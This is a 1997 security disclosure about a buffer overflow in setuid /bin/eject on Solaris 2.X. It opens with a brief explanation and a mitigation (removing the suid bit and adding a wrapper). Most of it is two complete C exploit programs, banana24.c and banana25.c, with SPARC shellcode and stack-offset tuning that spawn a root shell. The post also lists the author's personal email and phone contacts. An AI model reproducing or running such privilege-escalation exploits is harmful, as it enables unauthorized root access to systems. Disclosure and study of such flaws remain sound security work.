Exploit for buffer overflow in /bin/eject - Solaris 2.X

17 Dec 2003

      motto: "Mihai Eminescu was a good friend of Ion Creanga"

Thu  Mar 13 21:01:00 EET 1997  - Romania

"Hole in /bin/eject - buffer overflow"

I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who
have suid exec bit and is owned by root). The buffer overflow problem
appears in an internal function media_find(). The result is: any user can 
gain root shell. So, to prevent /bin/eject exploit, you have to get out 
suid-exec bit from /bin/eject (that's very simple) and compile a little 
program like:

 main()
 {execl("/bin/eject","eject","floppy",(char *)0);}

That allows your work station ordinary users to eject floppy (thats the main 
task for eject).

I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 
looks a bit ugly - the buffer is two short - but it works.
For both exploits argv[1] can change the STACK_OFFSET value (for 
troubleshotings +- 8 .. +-64 .. the step is 8).
The interesting thing about this exploit it worked on some machines where 
it was installed some stuff to make inofensiv buffer overflows exploits ... 

Ok you have right down two exploits.
For future I'm planing a web page with security stuff for Solaris so try 
http://www.math.pub.ro/security.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
E-mail: skipo@sundy.cs.pub.ro, skipo@math.pub.ro, skipo@ns.ima.ro
Phone: 401-410.60.88

------------------------ banana24.c -----------------------------
/* For Solaris 2.4 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>

   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET 8
   #define SPARC_NOP 0xc013a61c

   u_char sparc_shellcode[] =

   "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0"/*\x20\x08"*/
   ;

   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }

   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;

   if(argc > 1) dso=atoi(argv[1]);

   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;

   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];

   long_p = (u_long *) char_p;

   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;

   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf,(char *) 0);
   perror("execl failed");
   }
------------------------- end of banana24.c ------------------------

------------------------- banana25.c -------------------------------
/* Wrote for Solaris 2.5.1 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>

   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 400
   #define SPARC_NOP 0xa61cc013

   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;

   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }

   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;

   if(argc > 1) dso=atoi(argv[1]);

   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];

   long_p = (u_long *) char_p;

   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;

   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf[1],(char *) 0);
   perror("execl failed");
   }
---------------------------- end of banana25.c ------------------------

Exploit for buffer overflow in /bin/eject - Solaris 2.X

Cristian SCHIPOR